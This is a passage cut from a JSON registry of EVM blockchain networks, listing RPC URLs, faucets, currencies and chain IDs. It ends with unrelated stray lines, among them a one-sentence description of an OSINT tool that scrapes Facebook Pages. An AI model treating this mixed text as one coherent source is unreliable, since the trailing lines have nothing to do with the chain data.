Chain(testnet)","chain":"USC","network":"testnet","rpc":["https://testnet.rpc.uschain.network"],"faucets":[],"nativeCurrency":{"name":"UBC","symbol":"UBC","decimals":18},"infoURL":"https://www.ubchain.site","shortName":"usctest","chainId":99998,"networkId":99998},{"name":"UB Smart Chain","chain":"USC","network":"mainnet","rpc":["https://rpc.uschain.network"],"faucets":[],"nativeCurrency":{"name":"UBC","symbol":"UBC","decimals":18},"infoURL":"https://www.ubchain.site/","shortName":"usc","chainId":99999,"networkId":99999},{"name":"QuarkChain Mainnet Root","chain":"QuarkChain","rpc":["http://jrpc.mainnet.quarkchain.io:38391/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-r","chainId":100000,"networkId":100000},{"name":"QuarkChain Mainnet Shard 0","chain":"QuarkChain","rpc":["https://mainnet-s0-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39000/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s0","chainId":100001,"networkId":100001,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/0","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 1","chain":"QuarkChain","rpc":["https://mainnet-s1-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39001/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s1","chainId":100002,"networkId":100002,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/1","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 2","chain":"QuarkChain","rpc":["https://mainnet-s2-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39002/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s2","chainId":100003,"networkId":100003,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/2","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 3","chain":"QuarkChain","rpc":["https://mainnet-s3-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39003/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s3","chainId":100004,"networkId":100004,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/3","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 4","chain":"QuarkChain","rpc":["https://mainnet-s4-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39004/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s4","chainId":100005,"networkId":100005,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/4","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 5","chain":"QuarkChain","rpc":["https://mainnet-s5-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39005/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s5","chainId":100006,"networkId":100006,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/5","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 6","chain":"QuarkChain","rpc":["https://mainnet-s6-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39006/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s6","chainId":100007,"networkId":100007,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/6","standard":"EIP3091"}]},{"name":"QuarkChain Mainnet Shard 7","chain":"QuarkChain","rpc":["https://mainnet-s7-ethapi.quarkchain.io","http://eth-jrpc.mainnet.quarkchain.io:39007/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-s7","chainId":100008,"networkId":100008,"parent":{"chain":"eip155-100000","type":"shard"},"explorers":[{"name":"quarkchain-mainnet","url":"https://mainnet.quarkchain.io/7","standard":"EIP3091"}]},{"name":"BROChain Mainnet","chain":"BRO","network":"mainnet","rpc":["https://rpc.brochain.org","http://rpc.brochain.org","https://rpc.brochain.org/mainnet","http://rpc.brochain.org/mainnet"],"faucets":[],"nativeCurrency":{"name":"Brother","symbol":"BRO","decimals":18},"infoURL":"https://brochain.org","shortName":"bro","chainId":108801,"networkId":108801,"explorers":[{"name":"BROChain Explorer","url":"https://explorer.brochain.org","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Root","chain":"QuarkChain","rpc":["http://jrpc.devnet.quarkchain.io:38391/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-r","chainId":110000,"networkId":110000},{"name":"QuarkChain Devnet Shard 0","chain":"QuarkChain","rpc":["https://devnet-s0-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39900/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s0","chainId":110001,"networkId":110001,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/0","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 1","chain":"QuarkChain","rpc":["https://devnet-s1-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39901/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s1","chainId":110002,"networkId":110002,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/1","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 2","chain":"QuarkChain","rpc":["https://devnet-s2-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39902/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s2","chainId":110003,"networkId":110003,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/2","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 3","chain":"QuarkChain","rpc":["https://devnet-s3-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39903/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s3","chainId":110004,"networkId":110004,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/3","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 4","chain":"QuarkChain","rpc":["https://devnet-s4-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39904/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s4","chainId":110005,"networkId":110005,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/4","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 5","chain":"QuarkChain","rpc":["https://devnet-s5-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39905/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s5","chainId":110006,"networkId":110006,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/5","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 6","chain":"QuarkChain","rpc":["https://devnet-s6-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39906/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s6","chainId":110007,"networkId":110007,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/6","standard":"EIP3091"}]},{"name":"QuarkChain Devnet Shard 7","chain":"QuarkChain","rpc":["https://devnet-s7-ethapi.quarkchain.io","http://eth-jrpc.devnet.quarkchain.io:39907/"],"faucets":[],"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"infoURL":"https://www.quarkchain.io/","shortName":"qkc-d-s7","chainId":110008,"networkId":110008,"parent":{"chain":"eip155-110000","type":"shard"},"explorers":[{"name":"quarkchain-devnet","url":"https://devnet.quarkchain.io/7","standard":"EIP3091"}]},{"name":"Milkomeda C1 Testnet","chain":"milkTAda","icon":"milkomeda","network":"testnet","rpc":["https://rpc-devnet-cardano-evm.c1.milkomeda.com","wss://rpc-devnet-cardano-evm.c1.milkomeda.com"],"faucets":[],"nativeCurrency":{"name":"milkTAda","symbol":"milkTAda","decimals":18},"infoURL":"https://milkomeda.com","shortName":"milkTAda","chainId":200101,"networkId":200101,"explorers":[{"name":"Blockscout","url":"https://explorer-devnet-cardano-evm.c1.milkomeda.com","standard":"none"}]},{"name":"Akroma","chain":"AKA","rpc":["https://remote.akroma.io"],"faucets":[],"nativeCurrency":{"name":"Akroma Ether","symbol":"AKA","decimals":18},"infoURL":"https://akroma.io","shortName":"aka","chainId":200625,"networkId":200625,"slip44":200625},{"name":"Alaya Mainnet","chain":"Alaya","rpc":["https://openapi.alaya.network/rpc","wss://openapi.alaya.network/ws"],"faucets":[],"nativeCurrency":{"name":"ATP","symbol":"atp","decimals":18},"infoURL":"https://www.alaya.network/","shortName":"alaya","chainId":201018,"networkId":1,"icon":"alaya","explorers":[{"name":"alaya explorer","url":"https://scan.alaya.network","standard":"none"}]},{"name":"Alaya Dev Testnet","chain":"Alaya","rpc":["https://devnetopenapi.alaya.network/rpc","wss://devnetopenapi.alaya.network/ws"],"faucets":["https://faucet.alaya.network/faucet/?id=f93426c0887f11eb83b900163e06151c"],"nativeCurrency":{"name":"ATP","symbol":"atp","decimals":18},"infoURL":"https://www.alaya.network/","shortName":"alayadev","chainId":201030,"networkId":1,"icon":"alaya","explorers":[{"name":"alaya explorer","url":"https://devnetscan.alaya.network","standard":"none"}]},{"name":"PlatON Mainnet","chain":"PlatON","network":"mainnet","rpc":["https://openapi.platon.network/rpc","wss://openapi.platon.network/ws"],"faucets":[],"nativeCurrency":{"name":"LAT","symbol":"lat","decimals":18},"infoURL":"https://www.platon.network","shortName":"platon","chainId":210425,"networkId":1,"icon":"platon","explorers":[{"name":"PlatON explorer","url":"https://scan.platon.network","standard":"none"}]},{"name":"Haymo Testnet","chain":"tHYM","network":"testnet","rpc":["https://testnet1.haymo.network"],"faucets":[],"nativeCurrency":{"name":"HAYMO","symbol":"HYM","decimals":18},"infoURL":"https://haymoswap.web.app/","shortName":"hym","chainId":234666,"networkId":234666},{"name":"ARTIS sigma1","chain":"ARTIS","rpc":["https://rpc.sigma1.artis.network"],"faucets":[],"nativeCurrency":{"name":"ARTIS sigma1 Ether","symbol":"ATS","decimals":18},"infoURL":"https://artis.eco","shortName":"ats","chainId":246529,"networkId":246529,"slip44":246529},{"name":"ARTIS Testnet tau1","chain":"ARTIS","rpc":["https://rpc.tau1.artis.network"],"faucets":[],"nativeCurrency":{"name":"ARTIS tau1 Ether","symbol":"tATS","decimals":18},"infoURL":"https://artis.network","shortName":"atstau","chainId":246785,"networkId":246785},{"name":"Social Smart Chain Mainnet","chain":"SoChain","rpc":["https://socialsmartchain.digitalnext.business"],"faucets":[],"nativeCurrency":{"name":"SoChain","symbol":"$OC","decimals":18},"infoURL":"https://digitalnext.business/SocialSmartChain","shortName":"SoChain","chainId":281121,"networkId":281121,"explorers":[]},{"name":"Polis Testnet","chain":"Sparta","icon":"polis","rpc":["https://sparta-rpc.polis.tech"],"faucets":["https://faucet.polis.tech"],"nativeCurrency":{"name":"tPolis","symbol":"tPOLIS","decimals":18},"infoURL":"https://polis.tech","shortName":"sparta","chainId":333888,"networkId":333888},{"name":"Polis Mainnet","chain":"Olympus","icon":"polis","rpc":["https://rpc.polis.tech"],"faucets":["https://faucet.polis.tech"],"nativeCurrency":{"name":"Polis","symbol":"POLIS","decimals":18},"infoURL":"https://polis.tech","shortName":"olympus","chainId":333999,"networkId":333999},{"name":"Arbitrum Rinkeby","title":"Arbitrum Testnet Rinkeby","chainId":421611,"shortName":"arb-rinkeby","chain":"ETH","networkId":421611,"nativeCurrency":{"name":"Arbitrum Rinkeby Ether","symbol":"ARETH","decimals":18},"rpc":["https://rinkeby.arbitrum.io/rpc","wss://rinkeby.arbitrum.io/ws"],"faucets":["http://fauceth.komputing.org?chain=421611&address=${ADDRESS}"],"infoURL":"https://arbitrum.io","explorers":[{"name":"arbitrum-rinkeby","url":"https://rinkeby-explorer.arbitrum.io","standard":"EIP3091"}],"parent":{"type":"L2","chain":"eip155-4","bridges":[{"url":"https://bridge.arbitrum.io"}]}},{"name":"Weelink Testnet","chain":"WLK","rpc":["https://weelinknode1c.gw002.oneitfarm.com"],"faucets":["https://faucet.weelink.gw002.oneitfarm.com"],"nativeCurrency":{"name":"Weelink Chain Token","symbol":"tWLK","decimals":18},"infoURL":"https://weelink.cloud","shortName":"wlkt","chainId":444900,"networkId":444900,"explorers":[{"name":"weelink-testnet","url":"https://weelink.cloud/#/blockView/overview","standard":"none"}]},{"name":"Vision - Vpioneer Test Chain","chain":"Vision-Vpioneer","rpc":["https://vpioneer.infragrid.v.network/ethereum/compatible"],"faucets":["https://vpioneerfaucet.visionscan.org"],"nativeCurrency":{"name":"VS","symbol":"VS","decimals":18},"infoURL":"https://visionscan.org","shortName":"vpioneer","chainId":666666,"networkId":666666,"slip44":60},{"name":"Vision - Mainnet","chain":"Vision","rpc":["https://infragrid.v.network/ethereum/compatible"],"faucets":[],"nativeCurrency":{"name":"VS","symbol":"VS","decimals":18},"infoURL":"https://www.v.network","explorers":[{"name":"Visionscan","url":"https://www.visionscan.org","standard":"EIP3091"}],"shortName":"vision","chainId":888888,"networkId":888888,"slip44":60},{"name":"Eluvio Content Fabric","chain":"Eluvio","rpc":["https://host-76-74-28-226.contentfabric.io/eth/","https://host-76-74-28-232.contentfabric.io/eth/","https://host-76-74-29-2.contentfabric.io/eth/","https://host-76-74-29-8.contentfabric.io/eth/","https://host-76-74-29-34.contentfabric.io/eth/","https://host-76-74-29-35.contentfabric.io/eth/","https://host-154-14-211-98.contentfabric.io/eth/","https://host-154-14-192-66.contentfabric.io/eth/","https://host-60-240-133-202.contentfabric.io/eth/","https://host-64-235-250-98.contentfabric.io/eth/"],"faucets":[],"nativeCurrency":{"name":"ELV","symbol":"ELV","decimals":18},"infoURL":"https://eluv.io","shortName":"elv","chainId":955305,"networkId":955305,"slip44":1011,"explorers":[{"name":"blockscout","url":"https://explorer.eluv.io","standard":"EIP3091"}]},{"name":"Etho Protocol","chain":"ETHO","rpc":["https://rpc.ethoprotocol.com"],"faucets":[],"nativeCurrency":{"name":"Etho Protocol","symbol":"ETHO","decimals":18},"infoURL":"https://ethoprotocol.com","shortName":"etho","chainId":1313114,"networkId":1313114,"slip44":1313114,"explorers":[{"name":"blockscout","url":"https://explorer.ethoprotocol.com","standard":"none"}]},{"name":"Xerom","chain":"XERO","rpc":["https://rpc.xerom.org"],"faucets":[],"nativeCurrency":{"name":"Xerom Ether","symbol":"XERO","decimals":18},"infoURL":"https://xerom.org","shortName":"xero","chainId":1313500,"networkId":1313500},{"name":"Kintsugi","title":"Kintsugi merge testnet","chain":"ETH","rpc":["https://rpc.kintsugi.themerge.dev"],"faucets":["http://fauceth.komputing.org?chain=1337702&address=${ADDRESS}","https://faucet.kintsugi.themerge.dev"],"nativeCurrency":{"name":"kintsugi Ethere","symbol":"kiETH","decimals":18},"infoURL":"https://kintsugi.themerge.dev/","shortName":"kintsugi","chainId":1337702,"networkId":1337702,"explorers":[{"name":"kintsugi explorer","url":"https://explorer.kintsugi.themerge.dev","standard":"EIP3091"}]},{"name":"PlatON Dev Testnet","chain":"PlatON","rpc":["https://devnetopenapi.platon.network/rpc","wss://devnetopenapi.platon.network/ws"],"faucets":["https://faucet.platon.network/faucet/?id=e5d32df10aee11ec911142010a667c03"],"nativeCurrency":{"name":"LAT","symbol":"lat","decimals":18},"infoURL":"https://www.platon.network","shortName":"platondev","chainId":2203181,"networkId":1,"icon":"platon","explorers":[{"name":"PlatON explorer","url":"https://devnetscan.platon.network","standard":"none"}]},{"name":"Musicoin","chain":"MUSIC","rpc":["https://mewapi.musicoin.tw"],"faucets":[],"nativeCurrency":{"name":"Musicoin","symbol":"MUSIC","decimals":18},"infoURL":"https://musicoin.tw","shortName":"music","chainId":7762959,"networkId":7762959,"slip44":184},{"name":"Sepolia","title":"Ethereum Testnet Sepolia","chain":"ETH","rpc":[],"faucets":["http://fauceth.komputing.org?chain=11155111&address=${ADDRESS}"],"nativeCurrency":{"name":"Sepolia Ether","symbol":"SEP","decimals":18},"infoURL":"https://sepolia.otterscan.io","shortName":"sep","chainId":11155111,"networkId":11155111,"explorers":[{"name":"otterscan-sepolia","url":"https://sepolia.otterscan.io","standard":"EIP3091"}]},{"name":"PepChain Churchill","chain":"PEP","rpc":["https://churchill-rpc.pepchain.io"],"faucets":[],"nativeCurrency":{"name":"PepChain Churchill Ether","symbol":"TPEP","decimals":18},"infoURL":"https://pepchain.io","shortName":"tpep","chainId":13371337,"networkId":13371337},{"name":"IOLite","chain":"ILT","rpc":["https://net.iolite.io"],"faucets":[],"nativeCurrency":{"name":"IOLite Ether","symbol":"ILT","decimals":18},"infoURL":"https://iolite.io","shortName":"ilt","chainId":18289463,"networkId":18289463},{"name":"quarkblockchain","chain":"QKI","rpc":["https://hz.rpc.qkiscan.cn","https://jp.rpc.qkiscan.io"],"faucets":[],"nativeCurrency":{"name":"quarkblockchain Native Token","symbol":"QKI","decimals":18},"infoURL":"https://quarkblockchain.org/","shortName":"qki","chainId":20181205,"networkId":20181205},{"name":"Auxilium Network Mainnet","chain":"AUX","rpc":["https://rpc.auxilium.global"],"faucets":[],"nativeCurrency":{"name":"Auxilium coin","symbol":"AUX","decimals":18},"infoURL":"https://auxilium.global","shortName":"auxi","chainId":28945486,"networkId":28945486,"slip44":344},{"name":"Joys Digital Mainnet","chain":"JOYS","rpc":["https://node.joys.digital"],"faucets":[],"nativeCurrency":{"name":"JOYS","symbol":"JOYS","decimals":18},"infoURL":"https://joys.digital","shortName":"JOYS","chainId":35855456,"networkId":35855456},{"name":"Aquachain","chain":"AQUA","rpc":["https://c.onical.org","https://tx.aquacha.in/api"],"faucets":["https://aquacha.in/faucet"],"nativeCurrency":{"name":"Aquachain Ether","symbol":"AQUA","decimals":18},"infoURL":"https://aquachain.github.io","shortName":"aqua","chainId":61717561,"networkId":61717561,"slip44":61717561},{"name":"Joys Digital TestNet","chain":"TOYS","rpc":["https://toys.joys.cash/"],"faucets":["https://faucet.joys.digital/"],"nativeCurrency":{"name":"TOYS","symbol":"TOYS","decimals":18},"infoURL":"https://joys.digital","shortName":"TOYS","chainId":99415706,"networkId":99415706},{"name":"Gather Mainnet Network","chain":"GTH","rpc":["https://mainnet.gather.network"],"faucets":[],"nativeCurrency":{"name":"Gather","symbol":"GTH","decimals":18},"infoURL":"https://gather.network","shortName":"GTH","chainId":192837465,"networkId":192837465,"explorers":[{"name":"Blockscout","url":"https://explorer.gather.network","standard":"none"}]},{"name":"Neon EVM DevNet","chain":"Solana","rpc":["https://proxy.devnet.neonlabs.org/solana"],"faucets":["https://neonswap.live/#/get-tokens"],"nativeCurrency":{"name":"Neon","symbol":"NEON","decimals":18},"infoURL":"https://neon-labs.org/","shortName":"neonevm-devnet","chainId":245022926,"networkId":245022926},{"name":"Neon EVM MainNet","chain":"Solana","rpc":["https://proxy.mainnet.neonlabs.org/solana"],"faucets":[],"nativeCurrency":{"name":"Neon","symbol":"NEON","decimals":18},"infoURL":"https://neon-labs.org/","shortName":"neonevm-mainnet","chainId":245022934,"networkId":245022934},{"name":"Neon EVM TestNet","chain":"Solana","rpc":["https://proxy.testnet.neonlabs.org/solana"],"faucets":[],"nativeCurrency":{"name":"Neon","symbol":"NEON","decimals":18},"infoURL":"https://neon-labs.org/","shortName":"neonevm-testnet","chainId":245022940,"networkId":245022940},{"name":"OneLedger Mainnet","chain":"OLT","icon":"oneledger","rpc":["https://mainnet-rpc.oneledger.network"],"faucets":[],"nativeCurrency":{"name":"OLT","symbol":"OLT","decimals":18},"infoURL":"https://oneledger.io","shortName":"oneledger","chainId":311752642,"networkId":311752642,"explorers":[{"name":"OneLedger Block Explorer","url":"https://mainnet-explorer.oneledger.network","standard":"EIP3091"}]},{"name":"Gather Testnet Network","chain":"GTH","rpc":["https://testnet.gather.network"],"faucets":[],"nativeCurrency":{"name":"Gather","symbol":"GTH","decimals":18},"infoURL":"https://gather.network","shortName":"tGTH","chainId":356256156,"networkId":356256156,"explorers":[{"name":"Blockscout","url":"https://testnet-explorer.gather.network","standard":"none"}]},{"name":"Gather Devnet Network","chain":"GTH","rpc":["https://devnet.gather.network"],"faucets":[],"nativeCurrency":{"name":"Gather","symbol":"GTH","decimals":18},"infoURL":"https://gather.network","shortName":"dGTH","chainId":486217935,"networkId":486217935,"explorers":[{"name":"Blockscout","url":"https://devnet-explorer.gather.network","standard":"none"}]},{"name":"IPOS Network","chain":"IPOS","rpc":["https://rpc.iposlab.com","https://rpc2.iposlab.com"],"faucets":[],"nativeCurrency":{"name":"IPOS Network Ether","symbol":"IPOS","decimals":18},"infoURL":"https://iposlab.com","shortName":"ipos","chainId":1122334455,"networkId":1122334455},{"name":"Aurora Mainnet","chain":"NEAR","rpc":["https://mainnet.aurora.dev"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://aurora.dev","shortName":"aurora","chainId":1313161554,"networkId":1313161554,"explorers":[{"name":"aurorascan.dev","url":"https://aurorascan.dev","standard":"EIP3091"}]},{"name":"Aurora Testnet","chain":"NEAR","rpc":["https://testnet.aurora.dev/"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://aurora.dev","shortName":"aurora-testnet","chainId":1313161555,"networkId":1313161555,"explorers":[{"name":"aurorascan.dev","url":"https://testnet.aurorascan.dev","standard":"EIP3091"}]},{"name":"Aurora Betanet","chain":"NEAR","rpc":["https://betanet.aurora.dev/"],"faucets":[],"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"infoURL":"https://aurora.dev","shortName":"aurora-betanet","chainId":1313161556,"networkId":1313161556},{"name":"Harmony Mainnet Shard 0","chain":"Harmony","rpc":["https://api.harmony.one"],"faucets":["https://free-online-app.com/faucet-for-eth-evm-chains/"],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-s0","chainId":1666600000,"networkId":1666600000,"explorers":[{"name":"Harmony Block Explorer","url":"https://explorer.harmony.one","standard":"EIP3091"}]},{"name":"Harmony Mainnet Shard 1","chain":"Harmony","rpc":["https://s1.api.harmony.one"],"faucets":[],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-s1","chainId":1666600001,"networkId":1666600001},{"name":"Harmony Mainnet Shard 2","chain":"Harmony","rpc":["https://s2.api.harmony.one"],"faucets":[],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-s2","chainId":1666600002,"networkId":1666600002},{"name":"Harmony Mainnet Shard 3","chain":"Harmony","rpc":["https://s3.api.harmony.one"],"faucets":[],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-s3","chainId":1666600003,"networkId":1666600003},{"name":"Harmony Testnet Shard 0","chain":"Harmony","rpc":["https://api.s0.b.hmny.io"],"faucets":["https://faucet.pops.one"],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-b-s0","chainId":1666700000,"networkId":1666700000,"explorers":[{"name":"Harmony Testnet Block Explorer","url":"https://explorer.pops.one","standard":"EIP3091"}]},{"name":"Harmony Testnet Shard 1","chain":"Harmony","rpc":["https://api.s1.b.hmny.io"],"faucets":[],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-b-s1","chainId":1666700001,"networkId":1666700001},{"name":"Harmony Testnet Shard 2","chain":"Harmony","rpc":["https://api.s2.b.hmny.io"],"faucets":[],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-b-s2","chainId":1666700002,"networkId":1666700002},{"name":"Harmony Testnet Shard 3","chain":"Harmony","rpc":["https://api.s3.b.hmny.io"],"faucets":[],"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"infoURL":"https://www.harmony.one/","shortName":"hmy-b-s3","chainId":1666700003,"networkId":1666700003},{"name":"DataHopper","chain":"HOP","rpc":["https://23.92.21.121:8545"],"faucets":[],"nativeCurrency":{"name":"DataHoppers","symbol":"HOP","decimals":18},"infoURL":"https://www.DataHopper.com","shortName":"hop","chainId":2021121117,"networkId":2021121117},{"name":"Pirl","chain":"PIRL","rpc":["https://wallrpc.pirl.io"],"faucets":[],"nativeCurrency":{"name":"Pirl Ether","symbol":"PIRL","decimals":18},"infoURL":"https://pirl.io","shortName":"pirl","chainId":3125659152,"networkId":3125659152,"slip44":164},{"name":"OneLedger Testnet Frankenstein","chain":"OLT","icon":"oneledger","rpc":["https://frankenstein-rpc.oneledger.network"],"faucets":["https://frankenstein-faucet.oneledger.network"],"nativeCurrency":{"name":"OLT","symbol":"OLT","decimals":18},"infoURL":"https://oneledger.io","shortName":"frankenstein","chainId":4216137055,"networkId":4216137055,"explorers":[{"name":"OneLedger Block Explorer","url":"https://frankenstein-explorer.oneledger.network","standard":"EIP3091"}]},{"name":"Palm Testnet","chain":"Palm","icon":"palm","rpc":["https://palm-testnet.infura.io/v3/{INFURA_API_KEY}"],"faucets":[],"nativeCurrency":{"name":"PALM","symbol":"PALM","decimals":18},"infoURL":"https://palm.io","shortName":"tpalm","chainId":11297108099,"networkId":11297108099,"explorers":[{"name":"Palm Testnet Explorer","url":"https://explorer.palm-uat.xyz","standard":"EIP3091","icon":"palm"}]},{"name":"Palm","chain":"Palm","icon":"palm","rpc":["https://palm-mainnet.infura.io/v3/{INFURA_API_KEY}"],"faucets":[],"nativeCurrency":{"name":"PALM","symbol":"PALM","decimals":18},"infoURL":"https://palm.io","shortName":"palm","chainId":11297108109,"networkId":11297108109,"explorers":[{"name":"Palm Explorer","url":"https://explorer.palm.io","standard":"EIP3091","icon":"palm"}]},{"name":"Ntity Mainnet","chain":"Ntity","rpc":["https://rpc.ntity.io"],"faucets":[],"nativeCurrency":{"name":"Ntity","symbol":"NTT","decimals":18},"infoURL":"https://ntity.io","shortName":"ntt","chainId":197710212030,"networkId":197710212030,"icon":"ntity","explorers":[{"name":"Ntity Blockscout","url":"https://blockscout.ntity.io","icon":"ntity","standard":"EIP3091"}]},{"name":"Haradev Testnet","chain":"Ntity","rpc":["https://blockchain.haradev.com"],"faucets":[],"nativeCurrency":{"name":"Ntity Haradev","symbol":"NTTH","decimals":18},"infoURL":"https://ntity.io","shortName":"ntt-haradev","chainId":197710212031,"networkId":197710212031,"icon":"ntity","explorers":[{"name":"Ntity Haradev Blockscout","url":"https://blockscout.haradev.com","icon":"ntity","standard":"EIP3091"}]},{"name":"Molereum Network","chain":"ETH","rpc":["https://molereum.jdubedition.com"],"faucets":[],"nativeCurrency":{"name":"Molereum Ether","symbol":"MOLE","decimals":18},"infoURL":"https://github.com/Jdubedition/molereum","shortName":"mole","chainId":6022140761023,"networkId":6022140761023},{"name":"Godwoken Testnet (V1)","chain":"GWT","rpc":["https://godwoken-testnet-web3-v1-rpc.ckbapp.dev"],"faucets":["https://homura.github.io/light-godwoken"],"nativeCurrency":{"name":"CKB","symbol":"CKB","decimals":8},"infoURL":"https://www.nervos.org","shortName":"gw-testnet-v1","chainId":868455272153094,"networkId":868455272153094,"explorers":[{"name":"GWScan Block Explorer","url":"https://v1.aggron.gwscan.com","standard":"none"}]}]
HackUnderway
𝐌𝐞𝐭𝐚 𝐒𝐜𝐚𝐧 is an OSINT tool for Facebook that uses the Facebook Pages Scraper API from the RAPIDAPI website, developed for use with Python from the terminal. 🕵🏽♂️
anthophilee
